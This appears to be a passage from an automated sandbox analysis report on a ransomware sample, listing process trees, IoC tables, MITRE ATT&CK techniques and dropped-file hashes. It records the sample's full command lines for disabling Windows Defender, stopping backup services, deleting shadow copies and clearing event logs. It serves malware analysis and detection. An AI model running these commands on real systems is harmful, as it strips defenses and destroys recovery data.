1324	sc.exe
1856	sc.exe
288	sc.exe
1376	sc.exe
1788	sc.exe
1944	sc.exe

pid	process
1028	vssadmin.exe

pid	process
1820	powershell.exe
1972	powershell.exe
1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

wevtutil.exewevtutil.exewevtutil.exewmic.exewmic.exe

description	pid	process
Token: SeSecurityPrivilege	864	wevtutil.exe
Token: SeBackupPrivilege	864	wevtutil.exe
Token: SeSecurityPrivilege	1576	wevtutil.exe
Token: SeBackupPrivilege	1576	wevtutil.exe
Token: SeSecurityPrivilege	548	wevtutil.exe
Token: SeBackupPrivilege	548	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	1508	wmic.exe
Token: SeSecurityPrivilege	1508	wmic.exe
Token: SeTakeOwnershipPrivilege	1508	wmic.exe
Token: SeLoadDriverPrivilege	1508	wmic.exe
Token: SeSystemProfilePrivilege	1508	wmic.exe
Token: SeSystemtimePrivilege	1508	wmic.exe
Token: SeProfSingleProcessPrivilege	1508	wmic.exe
Token: SeIncBasePriorityPrivilege	1508	wmic.exe
Token: SeCreatePagefilePrivilege	1508	wmic.exe
Token: SeBackupPrivilege	1508	wmic.exe
Token: SeRestorePrivilege	1508	wmic.exe
Token: SeShutdownPrivilege	1508	wmic.exe
Token: SeDebugPrivilege	1508	wmic.exe
Token: SeSystemEnvironmentPrivilege	1508	wmic.exe
Token: SeRemoteShutdownPrivilege	1508	wmic.exe
Token: SeUndockPrivilege	1508	wmic.exe
Token: SeManageVolumePrivilege	1508	wmic.exe
Token: 33	1508	wmic.exe
Token: 34	1508	wmic.exe
Token: 35	1508	wmic.exe
Token: SeIncreaseQuotaPrivilege	756	wmic.exe
Token: SeSecurityPrivilege	756	wmic.exe
Token: SeTakeOwnershipPrivilege	756	wmic.exe
Token: SeLoadDriverPrivilege	756	wmic.exe
Token: SeSystemProfilePrivilege	756	wmic.exe
Token: SeSystemtimePrivilege	756	wmic.exe
Token: SeProfSingleProcessPrivilege	756	wmic.exe
Token: SeIncBasePriorityPrivilege	756	wmic.exe
Token: SeCreatePagefilePrivilege	756	wmic.exe
Token: SeBackupPrivilege	756	wmic.exe
Token: SeRestorePrivilege	756	wmic.exe
Token: SeShutdownPrivilege	756	wmic.exe
Token: SeDebugPrivilege	756	wmic.exe
Token: SeSystemEnvironmentPrivilege	756	wmic.exe
Token: SeRemoteShutdownPrivilege	756	wmic.exe
Token: SeUndockPrivilege	756	wmic.exe
Token: SeManageVolumePrivilege	756	wmic.exe
Token: 33	756	wmic.exe
Token: 34	756	wmic.exe
Token: 35	756	wmic.exe
Token: SeIncreaseQuotaPrivilege	756	wmic.exe
Token: SeSecurityPrivilege	756	wmic.exe
Token: SeTakeOwnershipPrivilege	756	wmic.exe
Token: SeLoadDriverPrivilege	756	wmic.exe
Token: SeSystemProfilePrivilege	756	wmic.exe
Token: SeSystemtimePrivilege	756	wmic.exe
Token: SeProfSingleProcessPrivilege	756	wmic.exe
Token: SeIncBasePriorityPrivilege	756	wmic.exe
Token: SeCreatePagefilePrivilege	756	wmic.exe
Token: SeBackupPrivilege	756	wmic.exe
Token: SeRestorePrivilege	756	wmic.exe
Token: SeShutdownPrivilege	756	wmic.exe
Token: SeDebugPrivilege	756	wmic.exe
Token: SeSystemEnvironmentPrivilege	756	wmic.exe
Token: SeRemoteShutdownPrivilege	756	wmic.exe
Token: SeUndockPrivilege	756	wmic.exe
Token: SeManageVolumePrivilege	756	wmic.exe
Token: 33	756	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 1988 wrote to memory of 1368	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 1368	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 1368	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 1368	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1368 wrote to memory of 1764	1368	net.exe	net1.exe
PID 1368 wrote to memory of 1764	1368	net.exe	net1.exe
PID 1368 wrote to memory of 1764	1368	net.exe	net1.exe
PID 1368 wrote to memory of 1764	1368	net.exe	net1.exe
PID 1988 wrote to memory of 1628	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 1628	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 1628	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 1628	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1628 wrote to memory of 1836	1628	net.exe	net1.exe
PID 1628 wrote to memory of 1836	1628	net.exe	net1.exe
PID 1628 wrote to memory of 1836	1628	net.exe	net1.exe
PID 1628 wrote to memory of 1836	1628	net.exe	net1.exe
PID 1988 wrote to memory of 824	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 824	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 824	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 824	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 824 wrote to memory of 632	824	net.exe	net1.exe
PID 824 wrote to memory of 632	824	net.exe	net1.exe
PID 824 wrote to memory of 632	824	net.exe	net1.exe
PID 824 wrote to memory of 632	824	net.exe	net1.exe
PID 1988 wrote to memory of 1492	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 1492	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 1492	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 1492	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1492 wrote to memory of 300	1492	net.exe	net1.exe
PID 1492 wrote to memory of 300	1492	net.exe	net1.exe
PID 1492 wrote to memory of 300	1492	net.exe	net1.exe
PID 1492 wrote to memory of 300	1492	net.exe	net1.exe
PID 1988 wrote to memory of 968	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 968	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 968	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 968	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 968 wrote to memory of 1304	968	net.exe	net1.exe
PID 968 wrote to memory of 1304	968	net.exe	net1.exe
PID 968 wrote to memory of 1304	968	net.exe	net1.exe
PID 968 wrote to memory of 1304	968	net.exe	net1.exe
PID 1988 wrote to memory of 1252	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 1252	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 1252	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 1252	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1252 wrote to memory of 1604	1252	net.exe	net1.exe
PID 1252 wrote to memory of 1604	1252	net.exe	net1.exe
PID 1252 wrote to memory of 1604	1252	net.exe	net1.exe
PID 1252 wrote to memory of 1604	1252	net.exe	net1.exe
PID 1988 wrote to memory of 616	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 616	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 616	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 616	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 616 wrote to memory of 1976	616	net.exe	net1.exe
PID 616 wrote to memory of 1976	616	net.exe	net1.exe
PID 616 wrote to memory of 1976	616	net.exe	net1.exe
PID 616 wrote to memory of 1976	616	net.exe	net1.exe
PID 1988 wrote to memory of 940	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 940	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 940	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 1988 wrote to memory of 940	1988	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe	net.exe
PID 940 wrote to memory of 1784	940	net.exe	net1.exe
PID 940 wrote to memory of 1784	940	net.exe	net1.exe
PID 940 wrote to memory of 1784	940	net.exe	net1.exe
PID 940 wrote to memory of 1784	940	net.exe	net1.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
"C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe"
1⤵
- Modifies extensions of user files
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\SysWOW64\net.exe
  net.exe stop "NetMsmqActivator" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1368
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "NetMsmqActivator" /y
    3⤵
    PID:1764
- C:\Windows\SysWOW64\net.exe
  net.exe stop "SamSs" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "SamSs" /y
    3⤵
    PID:1836
- C:\Windows\SysWOW64\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:824
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "SDRSVC" /y
    3⤵
    PID:632
- C:\Windows\SysWOW64\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "SstpSvc" /y
    3⤵
    PID:300
- C:\Windows\SysWOW64\net.exe
  net.exe stop "UI0Detect" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:968
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "UI0Detect" /y
    3⤵
    PID:1304
- C:\Windows\SysWOW64\net.exe
  net.exe stop "VSS" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "VSS" /y
    3⤵
    PID:1604
- C:\Windows\SysWOW64\net.exe
  net.exe stop "wbengine" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:616
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "wbengine" /y
    3⤵
    PID:1976
- C:\Windows\SysWOW64\net.exe
  net.exe stop "WebClient" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:940
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop "WebClient" /y
    3⤵
    PID:1784
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "NetMsmqActivator" start= disabled
  2⤵
  - Launches sc.exe
  PID:1788
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  - Launches sc.exe
  PID:1944
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  - Launches sc.exe
  PID:436
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  - Launches sc.exe
  PID:1504
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "UI0Detect" start= disabled
  2⤵
  - Launches sc.exe
  PID:1324
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  - Launches sc.exe
  PID:1856
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  - Launches sc.exe
  PID:288
- C:\Windows\SysWOW64\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  - Launches sc.exe
  PID:1376
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1380
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  PID:1720
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:828
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:912
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:1548
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1672
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:332
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:524
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1764
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:1836
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
  2⤵
  PID:632
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
  2⤵
  PID:300
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
  2⤵
  PID:1304
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
  2⤵
  PID:1604
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:1220
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
  2⤵
  PID:344
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
  2⤵
  PID:1824
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
  2⤵
  PID:1020
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
  2⤵
  PID:1708
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
  2⤵
  PID:1760
- C:\Windows\SysWOW64\schtasks.exe
  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
  2⤵
  PID:960
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
  2⤵
  PID:1332
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
  2⤵
  PID:1288
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
  2⤵
  PID:1160
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:1584
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:1544
- C:\Windows\SysWOW64\reg.exe
  reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
  2⤵
  PID:1768
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1084
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:2028
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1076
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1204
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  - Modifies security service
  PID:1812
- C:\Windows\SysWOW64\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:1952
- C:\Windows\SysWOW64\vssadmin.exe
  vssadmin.exe delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1028
- C:\Windows\SysWOW64\wevtutil.exe
  wevtutil.exe cl system
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:864
- C:\Windows\SysWOW64\wevtutil.exe
  wevtutil.exe cl security
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:1576
- C:\Windows\SysWOW64\wevtutil.exe
  wevtutil.exe cl application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:548
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic.exe SHADOWCOPY /nointeractive
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1508
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic.exe shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:756
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
  2⤵
  PID:1936
- - C:\Program Files\Windows Defender\MpCmdRun.exe
    "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
    3⤵
    - Deletes Windows Defender Definitions
    PID:1784
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
  2⤵
  PID:1400
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableIOAVProtection $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1820
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  PID:1996
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1972

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Impair Defenses

T1562

Indicator Removal on Host

T1070

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\EGdu_HOW_TO_DECRYPT.txt

Filesize
1KB

MD5
4e68cfad3f3cbef5406c90fd9e9d7931

SHA1
504d53957bbed8e1a612c791eec7abdd17bd15bc

SHA256
51dc299391f9b3eca411936a0d01781ad68799d282655e0d20c8c8521aa8e014

SHA512
78c89847c3a7c128e5d54c3fff0e41c89a61722730b9d02d9c7e0b6985ce8188c3c37b6357a71c30f7e34c8b78f94599a186be6c189e56f6ccb832033e77172a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S01E1DWW4RU3CGYNWSLL.temp

Filesize
7KB

MD5
e6701dc8f6a70c98ffca1d813f56088b

SHA1
4df19ea13e69db7999203ec450c51ae541e44b32

SHA256
1e6ee1f020181052a266a6d49fadded39ec44d07496c4a695d248f62c37d6b71

SHA512
297f0de9366ffa91f8a3445e0210e89dfeb31ed108d89d68b51a95e97f963e09656b73882ec95775f0ade83cf487e4fd7aa23c788a492eb0aba4e91a91e1eca0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
e6701dc8f6a70c98ffca1d813f56088b

SHA1
4df19ea13e69db7999203ec450c51ae541e44b32

SHA256
1e6ee1f020181052a266a6d49fadded39ec44d07496c4a695d248f62c37d6b71

SHA512
297f0de9366ffa91f8a3445e0210e89dfeb31ed108d89d68b51a95e97f963e09656b73882ec95775f0ade83cf487e4fd7aa23c788a492eb0aba4e91a91e1eca0

Download Submit
memory/1820-68-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/1820-66-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/1820-67-0x0000000002670000-0x00000000026B0000-memory.dmp

Filesize
256KB

Download
memory/1972-77-0x00000000022D0000-0x0000000002310000-memory.dmp

Filesize
256KB

Download
memory/1972-76-0x00000000022D0000-0x0000000002310000-memory.dmp

Filesize
256KB

Download
memory/1972-75-0x00000000022D0000-0x0000000002310000-memory.dmp

Filesize
256KB

Download
memory/1988-61-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-737-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-54-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-60-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-59-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-57-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-56-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-69-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-2520-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-3280-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-4851-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-5717-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-7029-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-55-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download
memory/1988-7727-0x00000000000C0000-0x00000000003D2000-memory.dmp

Filesize
3.1MB

Download